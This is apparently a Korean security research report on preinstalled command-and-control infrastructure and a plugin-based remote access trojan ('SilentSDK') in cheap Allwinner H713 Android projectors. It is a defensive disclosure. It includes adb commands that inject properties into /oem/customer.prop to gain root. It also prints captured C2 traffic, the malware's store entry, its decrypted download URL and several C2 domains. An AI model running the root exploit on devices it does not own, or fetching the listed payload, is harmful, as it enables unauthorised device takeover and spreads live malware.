
중국 beamers의 C2 네트워크 분석 - SilentSDK-Analysis
기술 분석 보고서 — 보안 연구
영향을 받는 기기: Nonete(예: Model HY260Pro)와 같은 빔 브랜드의 여러 안드로이드 프로젝터(아마도 Magcubic, Hotack, Huyukang 등 여러 제품도 포함, 이들 회사는 유사한 모델을 유통하며 이를 뒷받침하는 징후가 있음)
칩셋 플랫폼: Allwinner H713 / sun50iw12p1 — 이 플랫폼의 모든 기기에 영향을 미칠 가능성 있음
분석 기간: 2026년 4월 11일–17일
분류: 사전 설치된 명령 및 제어 인프라 및 원격 접근 트로이 목마 페이로드
이 보고서에 문서화된 맬웨어 인프라는 현재 Amazon, eBay, AliExpress에서 최종 소비자에게 대량 판매 중인 안드로이드 프로젝터에 사전 설치되어 있습니다. 영향 받는 기기는 여러 브랜드명(Hotack, Huyukang, Magcubic, Nonete 등)에 걸쳐 있을 수 있습니다. 동일한 C2 인프라는 동일 제조업체의 다른 기기에서도 독립적으로 확인되었습니다(섹션 13 참조). 이 패턴은 BADBOX 사례와 일치합니다.
구매한 기기: Amazon 링크 - Nonete Mini Beamer 4K 1080P
| 속성 | 값 |
|---|---|
| 브랜드명 | Nonete HY260Pro (여러 회사에서 판매하는 모델) |
| 내부 모델명 | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32비트) |
| 운영체제 | SpectraOS (Android 11, 커널 5.4.99) |
| 실제 빌드 지문 | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| 스푸핑된 빌드 지문 | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | 허용 모드 (강제 없음) |
| 플랫폼 서명 키 | 공개 AOSP 테스트 키 |
| OEM 인증서 | CN=蓝鲨, OU=www.bsh.me, C=CN |
| 펌웨어 채널 | HY260Pro_SpectraOS_TPYB |
범위 참고: Allwinner H713 칩셋은 유럽 시장에서 판매되는 수많은 저가 안드로이드 프로젝터에 내장되어 있으며, 브랜드명이 자주 변경됩니다. 동일한 펌웨어 베이스(h713_tuna_p3)와 동일한 C2 운영자(Shenzhen Aodin Technology)는 이 OEM의 모든 기기에 동일한 인프라가 포함되어 있음을 강력히 시사합니다.
| 단계 | 작업 | 결과 |
|---|---|---|
| 1 | Wireshark로 네트워크 트래픽 캡처 | store-api.aodintech.com으로의 HTTP 트래픽 |
| 2 | gzip 압축 C2 응답 디코딩 | 7개의 앱, 숨겨진 "SilentTools" 포함 |
| 3 | AES-CBC로 다운로드 경로 복호화 | 키 [편집됨], .bpp 파일 URL |
| 4 | /oem/customer.prop을 통한 루트 익스플로잇 | 속성 주입 후 uid=0(root) |
| 5 | /data, /oem, /system 포렌식 덤프 | APK, 데이터베이스, 구성 파일 |
| 6 | StoreOS DEX 정적 분석 | pm install -r -d, 바이트 반전 보호 |
| 7 | reverseLen 메커니즘 리버스 엔지니어링 | 안티 분석 보호 이해 |
| 8 | 바이트 반전 보호 해제 | 복호화되어 분석 가능한 SilentSDK DEX |
| 9 | SilentSDK 문자열 XOR 복호화 | C2 도메인 api.pixelpioneerss.com 확인 |
| 10 | 세 출처에 걸친 해시 검증 | MD5/SHA-256 완전 일치 |
| 11 | 맬웨어 다운로드 프로세스 리버스 엔지니어링 | 서버가 여전히 온라인 상태 |
| 12 | 맬웨어 리버스 엔지니어링 | 플러그인 기반 RAT 프레임워크 |
루트 액세스는 세 가지 취약점의 조합을 통해 달성되었습니다:
adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**영향:** 물리적 접근 권한이 있는 모든 사용자 또는 동일 네트워크에 있는 공격자(ADB를 통해, 포트 5555 열림, 인증 없음)는 전체 루트 액세스를 획득합니다.
---
## 4. C2 서버 응답 — 핵심 증거
### 캡처된 HTTP 요청```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
gzip 압축된 응답에는 7개의 앱이 포함된 JSON 목록이 있습니다. 그중 6개는 일반 스트리밍 앱(YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere)입니다. 일곱 번째는 SilentTools입니다:
| 앱 | 패키지 | isShow | isForce | isSilent Install | isSilent Uninstall | 실행 유형 |
|---|---|---|---|---|---|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**플래그 해석:**
- `isShow: false` — 앱이 스토어 인터페이스에 나타나지 않음.
- `isForce: true` — 액션(설치 또는 업데이트)을 강제로 수행하는 것으로 추정됨.
- `isSilentUninstall: true` — 사용자 상호작용 없이 스스로 제거 가능.
- `launchType: 1` — 백그라운드 서비스를 자동으로 시작함.
- `launchParam: MyService` — 지속적인 서비스에 대한 참조.
- `zone: "Global"` — 전 세계의 모든 기기를 대상으로 함.
- `reverseLen` — SilentSDK `.apk`를 복원하는 데 필요한 바이트 길이.
### 암호화된 다운로드 경로
`path` 필드는 AES-CBC로 암호화되어 있습니다:
- **키/IV:** `[REDACTED]` (AES-CBC, Raw) -> 기기의 ChannelID.
- **복호화 결과:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
참고: 파일 확장자 .bpp는 방화벽을 우회하기 위해 사용되며, 실행 중에는 파일 이름이 .apk로 변경됩니다. 이 캡처에서 isSilentInstall 필드는 false입니다. isForce: true의 정확한 의미는 디컴파일된 코드에서 명확하게 재구성할 수 없었습니다. 해당 값이 서버 측에서 동적으로 true로 설정될 가능성도 배제할 수 없습니다.
이 장치에는 상호 작용하는 네 개의 시스템 앱이 포함되어 있으며, 모두 AOSP 테스트 키로 서명되고 UID 1000(System)으로 실행됩니다:```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — 드로퍼 분석
StoreOS는 자동으로 설치되는 앱 스토어처럼 보이지만, 드로퍼(dropper) 기능을 수행합니다.
**패키지:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### 권한